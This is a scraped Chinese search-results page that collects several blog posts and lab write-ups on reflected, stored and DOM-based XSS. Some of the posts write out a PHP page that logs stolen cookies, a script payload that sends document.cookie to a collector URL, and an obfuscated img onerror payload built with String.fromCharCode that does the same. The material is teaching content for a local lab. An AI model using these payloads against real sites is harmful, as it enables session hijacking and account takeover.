精华内容
下载资源
问答
  • xss跨站脚本攻击原理
    2021-08-09 16:41:30

    XSS跨站脚本攻击原理与实践

    XSS一般分为3类:
    1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。

    2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。

    3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。

    反射型XSS

    本步骤的页面代码:

    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>反射型XSS测试</title>
    </head>
    <form action="" method="get">  
        <input type="text" name="msg"/>
        <input type="submit" value="submit"/>  
    </form>
    
    <?php
    if(isset($_GET['msg']) && $_GET['msg'] != '') {
        echo '您输入的内容为:' . $_GET['msg'];
    }
    
    

    功能很简单:检测用户是否通过GET方法传参,如果传了msg参数,则直接输出,否则什么都不干,需要注意的是,这个表单使用的传参方法为GET方法。
    正常情况下,用户只会输入一些普通字符,也就是数字、字母或者中文,所以,不会有什么安全问题。

    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>反射型XSS测试</title>
    </head>
    <form action="" method="get">  
        <input type="text" name="msg"/>
        <input type="submit" value="submit"/>  
    </form>
    
    <?php
    setcookie('username','xssuser');
    session_start();
    if(isset($_GET['msg']) && $_GET['msg'] != '') {
        echo '您输入的内容为:' . $_GET['msg'];
    }
    
    

    HTTP是无状态协议,它依靠cookie来识别用户身份,如果我们通过JS来获取了用户的cookie后,我们就可以冒充他人的身份,比如:如果某银行网站存在XSS,你通过XSS获取了别人的cookie后,你可以把cookie替换成别人的cookie来冒充其他人,然后你就可以自由转账了。注:事实上,银行的网站一般都设置了HttpOnly,JS脚本无法读取到cookie信息,而且银行转账一般需要短信验证码,特别是大额转账,所以即使你找到XSS,想要利用也很难。

    上面的语句只能弹出用户的cookie,我们如何通过XSS得到用户的cookie呢?毕竟如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。

    我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录下,recv_cookies.php这个文件就是用来接收cookie并保存的,源码如下:

    <?php
    $filename = 'cookies.txt';
    $f = fopen($filename, 'a');
    $cookie = urldecode($_GET['msg']) . PHP_EOL;
    fwrite($f, $cookie);
    fclose($f);
    
    

    它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。

    接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。最终构造的语句为:

    <script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
    

    这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全,比如:如果cookie为username=test#!@3,构造的请求地址为http://xss.com/recv_cookies.php?msg=username=test#!@3,但是#会被当作锚点来解释,导致后面的#!@3全部被忽略,浏览器最终请求的url为http://xss.com/recv_cookies.php?msg=username=test,所以导致页面接收到的cookie不完整。

    在输入框输入上面构造的语句,然后点击submit,然后进入C:\wamp\www\xss目录,打开cookies.txt,就可以看到当前访问http://xss.com/xss-ref.php这个页面的人的cookie。

    拿到了用户的cookie,拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作。

    更多相关内容
  • xss跨站脚本攻击原理

    2021-04-02 08:51:09
    xss全称跨站脚本攻击,通过字面理解就是跨过网站进行攻击。其原理是前端提交的参数被当成网站js代码来被执行了。发生的场景通常在web的前端。比如我在网站的留言板处输入一个 这里 xss通常分为三种: 反射型: 存储...

    xss全称跨站脚本攻击,通过字面理解就是跨过网站进行攻击。其原理是前端提交的参数被当成网站js代码来被执行了。发生的场景通常在web的前端。比如我在网站的留言板处输入一个,提交之后发现我的留言并不会显示内容,而且有我留言的页面都会出现js的弹框1
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    当然,这里只是演示,我们在平时的测试中不要使用这种方式,因为会影响网站的正常运行,使用就可以

    这里
    xss通常分为三种:
    反射型:反射型xss不会存储到数据库中,通常出现于搜索框中,只能构建虚假的url欺骗受害者点击,比如www.baidu.com/?search=<script></script>,危害性不大属于低危漏洞
    存储型(持久型):存储型xss会将攻击语句存储带数据库中,如果不移除会一直存在,常见于留言板,注册等地方危害性高
    dom型xss:攻击语句参数被document接收到对html标签的进行增删改查,类似于反射型xss,也属于一次性攻击
    探测xss需要奉行见框就插的原则,只要有输入框,聊天窗口等可以输入数据的地方,都有可能存在xss
    xss能做什么:可以获取用户cookie无需密码就能登录账号、网站挂木马、重定向网站、蠕虫攻击、获取用户信息、权限足够高还能获取键盘记录甚至开启电脑摄像头等

    展开全文
  • 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的...

    一、实验目的

    本次实验所涉及并要求掌握的知识点。

    跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

      它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。

      XSS的分类:

        反射型XSS

        存储型XSS

        基于DOM的XSS

        HTML基础知识:http://www.w3school.com.cn/html/

        JavaScript基础知识:http://www.w3school.com.cn/js/

    二、实验环境

    实验所使用的设备名称及规格,网络管理工具简介、版本等。

    一台windows7、安装wampserver、火狐浏览器、Chrome浏览器

    三、实验内容与实验要求

    实验内容、原理分析及具体实验要求。

    实验内容:
    1.反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。
    2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。
    3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。
    原理分析:XSS攻击,指通过在页面注入恶意JAVASCRIPT代码,从而在用户浏览被注入恶意代码的页面时,控制用户的浏览器行为的一种攻击。
    具体实验要求:根据实验指导书完成实验与实验报告

    四、实验过程与分析

    根据具体实验,记录、整理相应命令、运行结果等,包括截图和文字说明。

    详细记录在实验过程中发生的故障和问题,并进行故障分析,说明故障排除的过程及方法。

    1、 反射型XSS
    首先打开浏览器访问
    xss.com/xss-ref.php,输入test测试并submit发现在网页上显示出test测试,如下图所示:

     

    当在输入框输入<script>alert('xss')</script>弹出“XSS”这个字符。


     


    输入其他的JS代码,<script>alert(document.cookie)</script>

    空白是因为因为访问的这个页面它没有给我们设置cookie。
    修改源代码

    <?php

    setcookie('username','xssuser');

    session_start();

    再次重复上述工作可以发现弹出cookie

    我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。通过构建url编码的内容,我们输入<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>,可以在xss文件夹中的文件中获得用户的cookie,如下图所示:



    2.存储型xss
    存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库,用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失。

    访问xss.com/xss-stor.php输入xss的测试代码,留言:<script>alert('xss')</script> 昵称:xssuser用Chrome访问该页面,发现刚访问就弹窗
    点击确定后,可以看到留言内容出显示空白。如下图所示:

     

    我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie。可以发现一打开页面就弹出了xss窗口。如下图所示:



    3. 基于DOM 的XSS
    它通过修改页面的DOM节点形成的XSS,所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析。
    访问
    http://xss.com/xss-dom.php可以查看页面的源代码如下图所示:

     

     

     

    在测试页面鼠标右击,选择查看元素,点击最左上角的按钮查看蓝色部分代码,发现我们输入的标签在双引号中间,可以看出很明显的语法错误
    我们要让他没有语法错误,就需要构造语句闭合一些标签,所以,我们首先需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后,就变成了“
    在这里构造利用代码'>xssDom”。所以我们可以构造如下语句:
    '>
    输入后点击测试,发现并没有弹出提示窗,如下图。审查元素后我们发现我们应该用一个事件来触发行为构造
    ' οnclick=alert(/xss/) //
     

    此时页面代码就变成了:<a href='' οnclick=alert(/xss/) //'>xssDom,再进行如上操作的时候就可以触发弹窗了。


    页面在尝试加载路径为123 的图片时,无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。如果想要获取用户cookie,可以像步骤一一样,在onerror事件中,插入JS代码,通过JS网页面插入节点等。我们使用hackbar这一工具将我们要插入的字符串转成String.fromCharCode格式的,插入之后首先进入c:\wamp\www\xss目录下,把cookies.txt删除。

    输入构造的语句后,点击测试后,然后去c:\wamp\www\xss目录下,可以看到cookies.txt又生成了,如下图所示:



    要测试是没有成功获取到cookie还是没设置cookie导致的该文件内容为空,可以在浏览器控制台执行document.cookie,看是否有输出。观察下图我们发现已经设置了cookie:

     

     

    五、实验结果总结

    对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见。

    这一实验主要根据实验指导书完成了对于三种XSS攻击的基本操作,其中反射型XSS最为简单。而存储型XSS和基于DOM的XSS的效果更好,危害也更大。反射型XSS,相对来说,危害较低,需要用户点击特定的链接才能触发。存储型XSS,会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS不需要服务器。

    展开全文
  • 1.跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, 1.反射型 XSS,相对来说,
  • 预备知识 跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 XSS的分类: 反射...

    一.预备知识

       跨站脚本攻击(Cross Site Scripting),缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

    XSS的分类:

        反射型XSS危害较低,需要用户点击特定的链接才能触发。

        存储型XSS该类 XSS 会把攻击代码保存到数据库。

        基于DOMXSS通过修改页面的 DOM 节点形成 XSS

     

    二.步骤

     

    1.用浏览器打开页面  xss.com/xss-ref.php

    随便输入什么测试

    2. 输入

    <script>alert('xss')</script>

    测试

    得到弹出框XSS

    3.输入

    <script>alert(document.cookie)</script>

    弹出空白

    4.修改源代码  位置: C:\wamp\www\xss\xss-ref.php

    <?php
    setcookie('username','xssuser');
    session_start();

    可以弹出cookie界面

    5.

    构造请求代码,请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来

    在输入框输入

    <script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>

     

    打开C:\wamp\www\xss\cookies.txt

    结束

     

    1.访问本步骤的测试页面: xss.com/xss-stor.php

    2.输入测试代码  留言:<script>alert('xss')</script> 昵称:xssuser

    输出xss对话框

    3.用Chrome访问该页面,发现刚访问就弹窗

    说明多了数据库的参与,而反射型XSS没有参与

     

    结束

     

    1.访问页面:

    http://xss.com/xss-dom.php

    2.在测试页面鼠标右击,选择查看元素,点击最左上角的 按钮

    查看蓝色部分代码,发现我们输入的标签在双引号中间,可以看出很明显的语法错误

    3.

    分别构造如下输入:

    '><script>alert('xss');</script> 
    /*未执行*/
     ' onclick=alert(/xss/) //
    /*触发alert函数*/

    4.

    右键点击工具栏,启用Hacker,依次点击XSS,String.fromChaCode()

    将以下构造输入转换字符串

    new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie)

    所以,最终的构造语句是:

     '><img src="123" onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />

    进入c:\wamp\www\xss目录下,把cookies.txt删除。输入构造的语句后,点击测试后

     然后去c:\wamp\www\xss目录下,可以看到cookies.txt又生成了。

     

    或者在审查元素控制台检查,表示已经设置了cookie。

    结束

     

     

     

     

     

    展开全文
  • 详解XSS跨站脚本攻击原理及防御

    千次阅读 2018-04-21 11:57:16
    一、XSS跨站脚本攻击跨站脚本攻击,英文全称是Cross Site Script,本来缩写是CSS,但是为了和层叠样式表CSS有所区别,所以在安全领域叫做“XSS”。XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本...
  • 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。一.什么是XSS
  • XSS跨站脚本攻击原理

    2020-03-21 21:42:38
    跨站脚本(cross site script)为了避免与样式CSS混淆,所以简称xssxss是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。 xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者...
  • XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...
  • 2.存储型XSS,该类XSS会把攻击代码保存到数据库,所以也叫持久型XSS,因为它存在的时间是比较长的。 3.DOM 型XSS,这类XSS主要通过修改页面的DOM节点形成XSS,称为DOM Based XSS。 反射型XSS实战 本着见框就插的原则...
  • XSS跨站脚本攻击原理及常见的脚本XSS跨站脚本攻击的原理什么是XSS跨站脚本XSS跨站脚本攻击的类别XSS跨站脚本攻击的方式XSS跨站脚本攻击的防御 XSS跨站脚本攻击的原理 什么是XSS跨站脚本 跨站脚本(Cross-Site ...
  • 而且病毒不仅仅是造成互联网高危状态的主要因素,网络上同时也出现了许多简明的网络攻击教程,使一些不怀好意的人可以使用“黑客工具”,对个人PC及Web站点进行简单入侵。应与此情况,黑客动画吧积极配合互联网安全...
  • XSS 跨站脚本攻击 使用 JavaScript 创建 Cookie JavaScript 可以使用 document.cookie 属性来创建 、读叏、及删除 cookie。 例 1:JavaScript 中,创建 cookie 如下所示: document.cookie=“username=John Doe”; ...
  • XSS跨站脚本攻击

    千次阅读 2022-04-09 18:17:29
    XSS跨站脚本攻击 1. 引入 炸诈骗短信-----利用的是人性的弱点构造的恶意链接 人性的弱点----贪婪 恶意链接之后后会进行跳转,从而导致数据的丢失 2. XSS注入漏洞的简介 1. 什么是XSS漏洞 英文全称:Cross Site ...
  • 原理:前端提交的一些参数转换为js代码,可以回显一些东西跨站:例如你将一段攻击代码通过留言存储到对方服务器上时,对方管理员在浏览时就可能会执行你所写的攻击语句。产生层面:前端函数类:一般应用js里面的一些...
  • XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...
  • 因此,有人将跨站脚本攻击缩写为XSSXSS(Cross Site Scripting)跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使...
  • 本篇主要对XSS跨站脚本攻击常见的漏洞点以及实战中如何寻找该漏洞进行总结。
  • Cross-Site Scripting,简称为XSS跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。通常安全圈内的人喜欢称其为前端注入。 前端注入:用户输入的数据被当做前端代码执行...
  • XSS(Cross Site Script)跨站脚本攻击。它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而 达到恶意用户的特殊目的。本文介绍了该攻击方式,并给出...
  • XSS跨站脚本漏洞简介、原理及防护方法 XSS跨站漏洞原理及防护

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 16,985
精华内容 6,794
关键字:

xss跨站脚本攻击原理